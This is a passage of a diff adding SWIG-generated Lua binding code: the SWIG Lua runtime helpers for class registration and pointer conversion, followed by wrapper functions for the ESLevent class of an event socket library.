+  for(i=0;clss->methods[i].name;i++){
+    SWIG_Lua_add_function(L,clss->methods[i].name,clss->methods[i].method);
+  }
+  lua_pop(L,1);       /* tidy stack (remove table) */
+  /*   add operator overloads
+    these look ANY method which start with "__" and assume they
+    are operator overloads & add them to the metatable
+    (this might mess up is someone defines a method __gc (the destructor)*/
+  for(i=0;clss->methods[i].name;i++){
+    if (clss->methods[i].name[0]=='_' && clss->methods[i].name[1]=='_'){
+      SWIG_Lua_add_function(L,clss->methods[i].name,clss->methods[i].method);
+    }
+  }
+}
+
+/* set up the base classes pointers.
+Each class structure has a list of pointers to the base class structures.
+This function fills them.
+It cannot be done at compile time, as this will not work with hireachies
+spread over more than one swig file. 
+Therefore it must be done at runtime, querying the SWIG type system.
+*/
+SWIGINTERN void SWIG_Lua_init_base_class(lua_State* L,swig_lua_class* clss)
+{
+  int i=0;
+  swig_module_info* module=SWIG_GetModule(L);
+  for(i=0;clss->base_names[i];i++)
+  {
+    if (clss->bases[i]==0) /* not found yet */
+    {
+      /* lookup and cache the base class */
+      swig_type_info *info = SWIG_TypeQueryModule(module,module,clss->base_names[i]);
+      if (info) clss->bases[i] = (swig_lua_class *) info->clientdata;
+    }
+  }	
+}
+
+/* performs the entire class registration process */
+SWIGINTERN void  SWIG_Lua_class_register(lua_State* L,swig_lua_class* clss)
+{
+  /*  add its constructor to module with the name of the class
+  so you can do MyClass(...) as well as new_MyClass(...)
+  BUT only if a constructor is defined
+  (this overcomes the problem of pure virtual classes without constructors)*/
+  if (clss->constructor)
+    SWIG_Lua_add_function(L,clss->name,clss->constructor);
+
+  SWIG_Lua_get_class_registry(L);  /* get the registry */
+  lua_pushstring(L,clss->name);  /* get the name */
+  lua_newtable(L);    /* create the metatable */
+  /* add string of class name called ".type" */
+  lua_pushstring(L,".type");
+  lua_pushstring(L,clss->name);
+  lua_rawset(L,-3);
+  /* add a table called ".get" */
+  lua_pushstring(L,".get");
+  lua_newtable(L);
+  lua_rawset(L,-3);
+  /* add a table called ".set" */
+  lua_pushstring(L,".set");
+  lua_newtable(L);
+  lua_rawset(L,-3);
+  /* add a table called ".fn" */
+  lua_pushstring(L,".fn");
+  lua_newtable(L);
+  lua_rawset(L,-3);
+  /* add accessor fns for using the .get,.set&.fn */
+  SWIG_Lua_add_function(L,"__index",SWIG_Lua_class_get);
+  SWIG_Lua_add_function(L,"__newindex",SWIG_Lua_class_set);
+  SWIG_Lua_add_function(L,"__gc",SWIG_Lua_class_destruct);
+  /* add it */
+  lua_rawset(L,-3);  /* metatable into registry */
+  lua_pop(L,1);      /* tidy stack (remove registry) */
+
+  SWIG_Lua_get_class_metatable(L,clss->name);
+  SWIG_Lua_add_class_details(L,clss);  /* recursive adding of details (atts & ops) */
+  lua_pop(L,1);      /* tidy stack (remove class metatable) */
+}
+
+/* -----------------------------------------------------------------------------
+ * Class/structure conversion fns
+ * ----------------------------------------------------------------------------- */
+
+/* helper to add metatable to new lua object */
+SWIGINTERN void _SWIG_Lua_AddMetatable(lua_State* L,swig_type_info *type)
+{
+  if (type->clientdata)  /* there is clientdata: so add the metatable */
+  {
+    SWIG_Lua_get_class_metatable(L,((swig_lua_class*)(type->clientdata))->name);
+    if (lua_istable(L,-1))
+    {
+      lua_setmetatable(L,-2);
+    }
+    else
+    {
+      lua_pop(L,1);
+    }
+  }
+}
+
+/* pushes a new object into the lua stack */
+SWIGRUNTIME void SWIG_Lua_NewPointerObj(lua_State* L,void* ptr,swig_type_info *type, int own)
+{
+  swig_lua_userdata* usr;
+  if (!ptr){
+    lua_pushnil(L);
+    return;
+  }
+  usr=(swig_lua_userdata*)lua_newuserdata(L,sizeof(swig_lua_userdata));  /* get data */
+  usr->ptr=ptr;  /* set the ptr */
+  usr->type=type;
+  usr->own=own;
+  _SWIG_Lua_AddMetatable(L,type); /* add metatable */
+}
+
+/* takes a object from the lua stack & converts it into an object of the correct type
+ (if possible) */
+SWIGRUNTIME int  SWIG_Lua_ConvertPtr(lua_State* L,int index,void** ptr,swig_type_info *type,int flags)
+{
+  swig_lua_userdata* usr;
+  swig_cast_info *cast;
+  if (lua_isnil(L,index)){*ptr=0; return SWIG_OK;}    /* special case: lua nil => NULL pointer */
+  usr=(swig_lua_userdata*)lua_touserdata(L,index);  /* get data */
+  if (usr)
+  {
+    if (flags & SWIG_POINTER_DISOWN) /* must disown the object */
+    {
+        usr->own=0;
+    }
+    if (!type)            /* special cast void*, no casting fn */
+    {
+      *ptr=usr->ptr;
+      return SWIG_OK; /* ok */
+    }
+    cast=SWIG_TypeCheckStruct(usr->type,type); /* performs normal type checking */
+    if (cast)
+    {
+      int newmemory = 0;
+      *ptr=SWIG_TypeCast(cast,usr->ptr,&newmemory);
+      assert(!newmemory); /* newmemory handling not yet implemented */
+      return SWIG_OK;  /* ok */
+    }
+  }
+  return SWIG_ERROR;  /* error */
+}
+
+SWIGRUNTIME void* SWIG_Lua_MustGetPtr(lua_State* L,int index,swig_type_info *type,int flags,
+       int argnum,const char* func_name){
+  void* result;
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,index,&result,type,flags))){
+    lua_pushfstring(L,"Error in %s, expected a %s at argument number %d\n",
+      func_name,(type && type->str)?type->str:"void*",argnum);
+    lua_error(L);
+  }
+  return result;
+}
+
+/* pushes a packed userdata. user for member fn pointers only */
+SWIGRUNTIME void SWIG_Lua_NewPackedObj(lua_State* L,void* ptr,size_t size,swig_type_info *type)
+{
+  swig_lua_rawdata* raw;
+  assert(ptr); /* not acceptable to pass in a NULL value */
+  raw=(swig_lua_rawdata*)lua_newuserdata(L,sizeof(swig_lua_rawdata)-1+size);  /* alloc data */
+  raw->type=type;
+  raw->own=0;
+  memcpy(raw->data,ptr,size); /* copy the data */
+  _SWIG_Lua_AddMetatable(L,type); /* add metatable */
+}
+    
+/* converts a packed userdata. user for member fn pointers only */
+SWIGRUNTIME int  SWIG_Lua_ConvertPacked(lua_State* L,int index,void* ptr,size_t size,swig_type_info *type)
+{
+  swig_lua_rawdata* raw;
+  raw=(swig_lua_rawdata*)lua_touserdata(L,index);  /* get data */
+  if (!raw) return SWIG_ERROR;  /* error */
+  if (type==0 || type==raw->type) /* void* or identical type */
+  {
+    memcpy(ptr,raw->data,size); /* copy it */
+    return SWIG_OK; /* ok */
+  }
+  return SWIG_ERROR;  /* error */
+}
+
+/* a function to get the typestring of a piece of data */
+SWIGRUNTIME const char *SWIG_Lua_typename(lua_State *L, int tp)
+{
+  swig_lua_userdata* usr;
+  if (lua_isuserdata(L,tp))
+  {
+    usr=(swig_lua_userdata*)lua_touserdata(L,1);  /* get data */
+    if (usr && usr->type && usr->type->str)
+      return usr->type->str;
+    return "userdata (unknown type)";
+  }
+  return lua_typename(L,lua_type(L,tp));
+}
+
+/* lua callable function to get the userdata's type */
+SWIGRUNTIME int SWIG_Lua_type(lua_State* L)
+{
+  lua_pushstring(L,SWIG_Lua_typename(L,1));
+  return 1;
+}
+
+/* lua callable function to compare userdata's value
+the issue is that two userdata may point to the same thing
+but to lua, they are different objects */
+SWIGRUNTIME int SWIG_Lua_equal(lua_State* L)
+{
+  int result;
+  swig_lua_userdata *usr1,*usr2;
+  if (!lua_isuserdata(L,1) || !lua_isuserdata(L,2))  /* just in case */
+    return 0;  /* nil reply */
+  usr1=(swig_lua_userdata*)lua_touserdata(L,1);  /* get data */
+  usr2=(swig_lua_userdata*)lua_touserdata(L,2);  /* get data */
+  /*result=(usr1->ptr==usr2->ptr && usr1->type==usr2->type); only works if type is the same*/
+  result=(usr1->ptr==usr2->ptr);
+   lua_pushboolean(L,result);
+  return 1;
+}
+
+/* -----------------------------------------------------------------------------
+ * global variable support code: class/struct typemap functions
+ * ----------------------------------------------------------------------------- */
+
+/* Install Constants */
+SWIGINTERN void
+SWIG_Lua_InstallConstants(lua_State* L, swig_lua_const_info constants[]) {
+  int i;
+  for (i = 0; constants[i].type; i++) {
+    switch(constants[i].type) {
+    case SWIG_LUA_INT:
+      lua_pushstring(L,constants[i].name);
+      lua_pushnumber(L,(lua_Number)constants[i].lvalue);
+      lua_rawset(L,-3);
+      break;
+    case SWIG_LUA_FLOAT:
+      lua_pushstring(L,constants[i].name);
+      lua_pushnumber(L,(lua_Number)constants[i].dvalue);
+      lua_rawset(L,-3);
+      break;
+    case SWIG_LUA_CHAR:
+      lua_pushstring(L,constants[i].name);
+      lua_pushfstring(L,"%c",(char)constants[i].lvalue);
+      lua_rawset(L,-3);
+      break;
+    case SWIG_LUA_STRING:
+      lua_pushstring(L,constants[i].name);
+      lua_pushstring(L,(char *) constants[i].pvalue);
+      lua_rawset(L,-3);
+      break;
+    case SWIG_LUA_POINTER:
+      lua_pushstring(L,constants[i].name);
+      SWIG_NewPointerObj(L,constants[i].pvalue, *(constants[i]).ptype,0);
+      lua_rawset(L,-3);
+      break;
+    case SWIG_LUA_BINARY:
+      lua_pushstring(L,constants[i].name);
+      SWIG_NewMemberObj(L,constants[i].pvalue,constants[i].lvalue,*(constants[i]).ptype);
+      lua_rawset(L,-3);
+      break;
+    default:
+      break;
+    }
+  }
+}
+
+/* -----------------------------------------------------------------------------
+ * executing lua code from within the wrapper
+ * ----------------------------------------------------------------------------- */
+
+#ifndef SWIG_DOSTRING_FAIL /* Allows redefining of error function */
+#define SWIG_DOSTRING_FAIL(S) fprintf(stderr,"%s\n",S)
+#endif
+/* Executes a C string in Lua a really simple way of calling lua from C
+Unfortunately lua keeps changing its API's, so we need a conditional compile
+In lua 5.0.X its lua_dostring()
+In lua 5.1.X its luaL_dostring()
+*/
+SWIGINTERN int 
+SWIG_Lua_dostring(lua_State *L, const char* str) {
+  int ok,top;
+  if (str==0 || str[0]==0) return 0; /* nothing to do */
+  top=lua_gettop(L); /* save stack */
+#if (defined(LUA_VERSION_NUM) && (LUA_VERSION_NUM>=501))
+  ok=luaL_dostring(L,str);	/* looks like this is lua 5.1.X or later, good */
+#else
+  ok=lua_dostring(L,str);	/* might be lua 5.0.x, using lua_dostring */
+#endif
+  if (ok!=0) {
+    SWIG_DOSTRING_FAIL(lua_tostring(L,-1));
+  }
+  lua_settop(L,top); /* restore the stack */
+  return ok;
+}    
+
+#ifdef __cplusplus
+}
+#endif
+
+/* ------------------------------ end luarun.swg  ------------------------------ */
+
+
+/* -------- TYPES TABLE (BEGIN) -------- */
+
+#define SWIGTYPE_p_ESLconnection swig_types[0]
+#define SWIGTYPE_p_ESLevent swig_types[1]
+#define SWIGTYPE_p_esl_event_t swig_types[2]
+#define SWIGTYPE_p_esl_priority_t swig_types[3]
+static swig_type_info *swig_types[5];
+static swig_module_info swig_module = {swig_types, 4, 0, 0, 0, 0};
+#define SWIG_TypeQuery(name) SWIG_TypeQueryModule(&swig_module, &swig_module, name)
+#define SWIG_MangledTypeQuery(name) SWIG_MangledTypeQueryModule(&swig_module, &swig_module, name)
+
+/* -------- TYPES TABLE (END) -------- */
+
+#define SWIG_name      "ESL"
+#define SWIG_init      luaopen_ESL
+#define SWIG_init_user luaopen_ESL_user
+
+#define SWIG_LUACODE   luaopen_ESL_luacode
+
+
+namespace swig {
+typedef struct{} LANGUAGE_OBJ;
+}
+
+
+#include "esl.h"
+#include "esl_oop.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+static int _wrap_ESLevent_event_set(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *arg2 = (esl_event_t *) 0 ;
+  
+  SWIG_check_num_args("event",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("event",1,"ESLevent *");
+  if(!SWIG_isptrtype(L,2)) SWIG_fail_arg("event",2,"esl_event_t *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_event_set",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,2,(void**)&arg2,SWIGTYPE_p_esl_event_t,SWIG_POINTER_DISOWN))){
+    SWIG_fail_ptr("ESLevent_event_set",2,SWIGTYPE_p_esl_event_t);
+  }
+  
+  if (arg1) (arg1)->event = arg2;
+  
+  SWIG_arg=0;
+  
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_event_get(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_event_t *result = 0 ;
+  
+  SWIG_check_num_args("event",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("event",1,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_event_get",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  result = (esl_event_t *) ((arg1)->event);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_esl_event_t,0); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_serialized_string_set(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  
+  SWIG_check_num_args("serialized_string",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("serialized_string",1,"ESLevent *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("serialized_string",2,"char *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_serialized_string_set",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  {
+    if (arg1->serialized_string) delete [] arg1->serialized_string;
+    if (arg2) {
+      arg1->serialized_string = (char *) (new char[strlen((const char *)arg2)+1]);
+      strcpy((char *)arg1->serialized_string, (const char *)arg2);
+    } else {
+      arg1->serialized_string = 0;
+    }
+  }
+  SWIG_arg=0;
+  
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_serialized_string_get(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  SWIG_check_num_args("serialized_string",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("serialized_string",1,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_serialized_string_get",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  result = (char *) ((arg1)->serialized_string);
+  SWIG_arg=0;
+  lua_pushstring(L,(const char*)result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_mine_set(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int arg2 ;
+  
+  SWIG_check_num_args("mine",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("mine",1,"ESLevent *");
+  if(!lua_isnumber(L,2)) SWIG_fail_arg("mine",2,"int");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_mine_set",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  arg2 = (int)lua_tonumber(L, 2);
+  if (arg1) (arg1)->mine = arg2;
+  
+  SWIG_arg=0;
+  
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_mine_get(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  int result;
+  
+  SWIG_check_num_args("mine",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("mine",1,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_mine_get",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  result = (int) ((arg1)->mine);
+  SWIG_arg=0;
+  lua_pushnumber(L, (lua_Number) result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_new_ESLevent__SWIG_0(lua_State* L) {
+  int SWIG_arg = -1;
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("ESLevent",1,2)
+  if(!lua_isstring(L,1)) SWIG_fail_arg("ESLevent",1,"char const *");
+  if(lua_gettop(L)>=2 && !lua_isstring(L,2)) SWIG_fail_arg("ESLevent",2,"char const *");
+  arg1 = (char *)lua_tostring(L, 1);
+  if(lua_gettop(L)>=2){
+    arg2 = (char *)lua_tostring(L, 2);
+  }
+  result = (ESLevent *)new ESLevent((char const *)arg1,(char const *)arg2);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_new_ESLevent__SWIG_1(lua_State* L) {
+  int SWIG_arg = -1;
+  esl_event_t *arg1 = (esl_event_t *) 0 ;
+  int arg2 = (int) 0 ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("ESLevent",1,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("ESLevent",1,"esl_event_t *");
+  if(lua_gettop(L)>=2 && !lua_isnumber(L,2)) SWIG_fail_arg("ESLevent",2,"int");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_esl_event_t,0))){
+    SWIG_fail_ptr("new_ESLevent",1,SWIGTYPE_p_esl_event_t);
+  }
+  
+  if(lua_gettop(L)>=2){
+    arg2 = (int)lua_tonumber(L, 2);
+  }
+  result = (ESLevent *)new ESLevent(arg1,arg2);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_new_ESLevent__SWIG_2(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  ESLevent *result = 0 ;
+  
+  SWIG_check_num_args("ESLevent",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("ESLevent",1,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("new_ESLevent",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  result = (ESLevent *)new ESLevent(arg1);
+  SWIG_arg=0;
+  SWIG_NewPointerObj(L,result,SWIGTYPE_p_ESLevent,1); SWIG_arg++; 
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_new_ESLevent(lua_State* L) {
+  int argc;
+  int argv[3]={
+    1,2,3
+  };
+  
+  argc = lua_gettop(L);
+  if ((argc >= 1) && (argc <= 2)) {
+    int _v;
+    {
+      void *ptr;
+      if (SWIG_isptrtype(L,argv[0])==0 || SWIG_ConvertPtr(L,argv[0], (void **) &ptr, SWIGTYPE_p_esl_event_t, 0)) {
+        _v = 0;
+      } else {
+        _v = 1;
+      }
+    }
+    if (_v) {
+      if (argc <= 1) {
+        return _wrap_new_ESLevent__SWIG_1(L);
+      }
+      {
+        _v = lua_isnumber(L,argv[1]);
+      }
+      if (_v) {
+        return _wrap_new_ESLevent__SWIG_1(L);
+      }
+    }
+  }
+  if (argc == 1) {
+    int _v;
+    {
+      void *ptr;
+      if (SWIG_isptrtype(L,argv[0])==0 || SWIG_ConvertPtr(L,argv[0], (void **) &ptr, SWIGTYPE_p_ESLevent, 0)) {
+        _v = 0;
+      } else {
+        _v = 1;
+      }
+    }
+    if (_v) {
+      return _wrap_new_ESLevent__SWIG_2(L);
+    }
+  }
+  if ((argc >= 1) && (argc <= 2)) {
+    int _v;
+    {
+      _v = lua_isstring(L,argv[0]);
+    }
+    if (_v) {
+      if (argc <= 1) {
+        return _wrap_new_ESLevent__SWIG_0(L);
+      }
+      {
+        _v = lua_isstring(L,argv[1]);
+      }
+      if (_v) {
+        return _wrap_new_ESLevent__SWIG_0(L);
+      }
+    }
+  }
+  
+  lua_pushstring(L,"No matching function for overloaded 'new_ESLevent'");
+  lua_error(L);return 0;
+}
+
+
+static int _wrap_delete_ESLevent(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  
+  SWIG_check_num_args("ESLevent",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("ESLevent",1,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,SWIG_POINTER_DISOWN))){
+    SWIG_fail_ptr("delete_ESLevent",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  delete arg1;
+  
+  SWIG_arg=0;
+  
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_serialize(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) NULL ;
+  char *result = 0 ;
+  
+  SWIG_check_num_args("serialize",1,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("serialize",1,"ESLevent *");
+  if(lua_gettop(L)>=2 && !lua_isstring(L,2)) SWIG_fail_arg("serialize",2,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_serialize",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  if(lua_gettop(L)>=2){
+    arg2 = (char *)lua_tostring(L, 2);
+  }
+  result = (char *)(arg1)->serialize((char const *)arg2);
+  SWIG_arg=0;
+  lua_pushstring(L,(const char*)result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_setPriority(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  esl_priority_t arg2 = (esl_priority_t) ESL_PRIORITY_NORMAL ;
+  bool result;
+  esl_priority_t *argp2 ;
+  
+  SWIG_check_num_args("setPriority",1,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("setPriority",1,"ESLevent *");
+  if(lua_gettop(L)>=2 && !lua_isuserdata(L,2)) SWIG_fail_arg("setPriority",2,"esl_priority_t");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_setPriority",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  if(lua_gettop(L)>=2){
+    if (!SWIG_IsOK(SWIG_ConvertPtr(L,2,(void**)&argp2,SWIGTYPE_p_esl_priority_t,0))){
+      SWIG_fail_ptr("ESLevent_setPriority",2,SWIGTYPE_p_esl_priority_t);
+    }
+    arg2 = *argp2;
+  }
+  result = (bool)(arg1)->setPriority(arg2);
+  SWIG_arg=0;
+  lua_pushboolean(L,(int)(result==true)); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_getHeader(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *result = 0 ;
+  
+  SWIG_check_num_args("getHeader",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("getHeader",1,"ESLevent *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("getHeader",2,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_getHeader",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  result = (char *)(arg1)->getHeader((char const *)arg2);
+  SWIG_arg=0;
+  lua_pushstring(L,(const char*)result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_getBody(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  SWIG_check_num_args("getBody",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("getBody",1,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_getBody",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  result = (char *)(arg1)->getBody();
+  SWIG_arg=0;
+  lua_pushstring(L,(const char*)result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_getType(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  
+  SWIG_check_num_args("getType",1,1)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("getType",1,"ESLevent *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_getType",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  result = (char *)(arg1)->getType();
+  SWIG_arg=0;
+  lua_pushstring(L,(const char*)result); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_addBody(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  
+  SWIG_check_num_args("addBody",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("addBody",1,"ESLevent *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("addBody",2,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_addBody",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  result = (bool)(arg1)->addBody((char const *)arg2);
+  SWIG_arg=0;
+  lua_pushboolean(L,(int)(result==true)); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_addHeader(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  bool result;
+  
+  SWIG_check_num_args("addHeader",3,3)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("addHeader",1,"ESLevent *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("addHeader",2,"char const *");
+  if(!lua_isstring(L,3)) SWIG_fail_arg("addHeader",3,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_addHeader",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
+  arg3 = (char *)lua_tostring(L, 3);
+  result = (bool)(arg1)->addHeader((char const *)arg2,(char const *)arg3);
+  SWIG_arg=0;
+  lua_pushboolean(L,(int)(result==true)); SWIG_arg++;
+  return SWIG_arg;
+  
+  if(0) SWIG_fail;
+  
+fail:
+  lua_error(L);
+  return SWIG_arg;
+}
+
+
+static int _wrap_ESLevent_delHeader(lua_State* L) {
+  int SWIG_arg = -1;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  
+  SWIG_check_num_args("delHeader",2,2)
+  if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("delHeader",1,"ESLevent *");
+  if(!lua_isstring(L,2)) SWIG_fail_arg("delHeader",2,"char const *");
+  
+  if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_ESLevent,0))){
+    SWIG_fail_ptr("ESLevent_delHeader",1,SWIGTYPE_p_ESLevent);
+  }
+  
+  arg2 = (char *)lua_tostring(L, 2);
